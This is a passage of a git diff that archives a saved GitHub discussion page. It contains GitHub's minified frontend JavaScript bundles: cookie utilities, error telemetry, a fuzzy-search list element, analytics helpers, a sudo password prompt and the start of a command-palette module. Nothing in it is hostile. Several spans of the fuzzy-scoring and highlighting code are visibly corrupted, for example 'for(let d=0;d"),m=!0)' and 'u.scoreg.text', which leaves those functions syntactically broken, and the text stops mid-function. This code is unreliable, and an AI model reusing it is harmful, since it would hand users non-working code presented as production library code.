Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var D=s(T=>$($.s=T),"__webpack_exec__");$.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537","app_assets_modules_github_behaviors_pjax_ts","app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef","app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-a5a4c7"],()=>D(56851));var f=$.O()}]);})(); + +//# sourceMappingURL=behaviors-77f99b7e6910.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js new file mode 100644 index 0000000..09e09d2 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var vt=Object.defineProperty;var n=(S,C)=>vt(S,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["command-palette"],{86761:(S,C,a)=>{var i=a(90420),b=Object.defineProperty,v=Object.getOwnPropertyDescriptor,g=n((t,e,s,o)=>{for(var r=o>1?void 0:o?v(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&b(e,s,r),r},"__decorateClass");const m="*";let p=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=""}active(t,e){return this.scopeTypeMatch(t.type)&&this.modeMatch(e)}scopeTypeMatch(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t):!0}modeMatch(t){return this.char===m||this.char===t}character(){return this.char===m?"":this.char}},"CommandPaletteModeElement");g([i.Lj],p.prototype,"char",2),g([i.Lj],p.prototype,"placeholder",2),g([i.Lj],p.prototype,"scopeTypes",2),p=g([i.Ih],p);var d=Object.defineProperty,h=Object.getOwnPropertyDescriptor,u=n((t,e,s,o)=>{for(var r=o>1?void 0:o?h(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&d(e,s,r),r},"command_palette_tip_element_decorateClass");const f="*",E="";let _=n(class extends HTMLElement{constructor(){super(...arguments);this.scopeTypes=E,this.mode=f,this.matchMode=E,this.value=f,this.onEmpty=!1,this.onError=!1}connectedCallback(){this.hidden=!0}available(t,e=!1,s=!1){return this.valueMatch(t.text)&&this.scopeTypeMatch(t.scope.type)&&this.modeMatch(t.mode)&&this.showOnEmpty(e)&&this.showOnError(s)}toggle(t,e=!1,s=!1){this.hidden=!this.available(t,e,s)}valueMatch(t){return this.value===f||this.value===t}scopeTypeMatch(t){return this.scopeTypes!==E&&(this.scopeTypes===f||JSON.parse(this.scopeTypes).includes(t))}modeMatch(t){if(this.matchMode===E)return this.mode===f||this.mode===t;{const e=new RegExp(this.matchMode);return t.match(e)!==null}}showOnEmpty(t){return this.onEmpty?t:!0}showOnError(t){return this.onError?t:!0}},"CommandPaletteTipElement");u([i.Lj],_.prototype,"scopeTypes",2),u([i.Lj],_.prototype,"mode",2),u([i.Lj],_.prototype,"matchMode",2),u([i.Lj],_.prototype,"value",2),u([i.Lj],_.prototype,"onEmpty",2),u([i.Lj],_.prototype,"onError",2),_=u([i.Ih],_);var G=a(47779),$e=Object.defineProperty,Fe=Object.getOwnPropertyDescriptor,R=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Fe(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&$e(e,s,r),r},"command_palette_token_element_decorateClass");let k=n(class extends HTMLElement{constructor(){super(...arguments);this.type="",this.id="",this.text="",this.value=""}},"CommandPaletteTokenElement");R([i.Lj],k.prototype,"type",2),R([i.Lj],k.prototype,"id",2),R([i.Lj],k.prototype,"text",2),R([i.Lj],k.prototype,"value",2),k=R([i.Ih],k);var gt=a(39200),He=a(23207),bt=a(2846),Y=a(80829),ze=a(4220),z=a(78584);class U extends z.j{fetch(e,s){return this.fetchSrc(e)}enabledFor(e){return this.modeMatch(e)&&this.scopeMatch(e)}clearCache(){}scopeMatch(e){return this.scopeTypes.length===0||this.scopeTypes.includes(e.scope.type)}modeMatch(e){return this.modes.includes(e.mode)||this.hasWildCard}async fetchSrc(e,s=""){var o;if(!this.src)throw new Error("No src defined");const r=new URL(this.src,window.location.origin),c=e.params();s&&c.set("mode",s),r.search=c.toString();const l=await fetch(r.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(l.ok){const L=await l.json();return{results:((o=L.results)==null?void 0:o.map(w=>ze.g.build(w)))||[],octicons:L.octicons}}else return{error:!0,results:[]}}}n(U,"RemoteProvider");class H extends U{constructor(){super(...arguments);this.maxItems=1e3,this.scopedItems={},this.cachedOcticons={}}clearCache(){super.clearCache(),this.scopedItems={},this.cachedOcticons={}}get debounce(){return 0}async prefetch(e){if(!this.scopeMatch(e)||this.scopedItems[e.scope.id])return;const s=new Y.A("",e.mode,{subjectId:e.subjectId,subjectType:e.subjectType,returnTo:e.returnTo,scope:e.scope}),o=await this.fetchSrc(s,e.mode);this.octicons=o.octicons||[];const r=o.results||[];this.scopedItems[e.scope.id]=r,this.cachedOcticons[e.scope.id]=this.octicons}async fetch(e,s){const o=this.scopedItems[e.scope.id]||[],r=this.cachedOcticons[e.scope.id]||[];return{results:this.fuzzyFilter(o,e).slice(0,this.maxItems),octicons:r}}}n(H,"PrefetchedProvider");class ee extends H{enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}}n(ee,"CommandsProvider");var Ue=a(81072),V=a(98810);class te extends H{async fetchSrc(e){if(!this.src)throw new Error("No src provided");const s=new URL(this.src,window.location.origin);s.search=e.params().toString();const r=await(await fetch(s.toString(),{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json();if(!r.results)return;const c=r.results[0];if(c.base_file_path){const l=c.base_file_path,L=c.paths;r.results=L.map(w=>V.s.from({title:w,path:`${l}/${w}`,icon:"file-color-fg-muted",group:"files"}))}else c.action&&c.action.type==="access_policy"?r.results=[new Ue.i(c)]:r.results=[];return r}async fetch(e,s=!1){const o=e.text.match(/(.+):(\d*)\s*$/);return o?this.fetchWithLineNumbers(e,o):super.fetch(e,s)}async fetchWithLineNumbers(e,s){const o=s[1],r=s[2],c=new Y.A(o,e.mode,{scope:e.scope}),l=[],L=(await super.fetch(c,!1)).results;for(const w of L)w instanceof V.s&&l.push(this.convert(w,r));return{results:l}}convert(e,s){return s===""||!(e instanceof 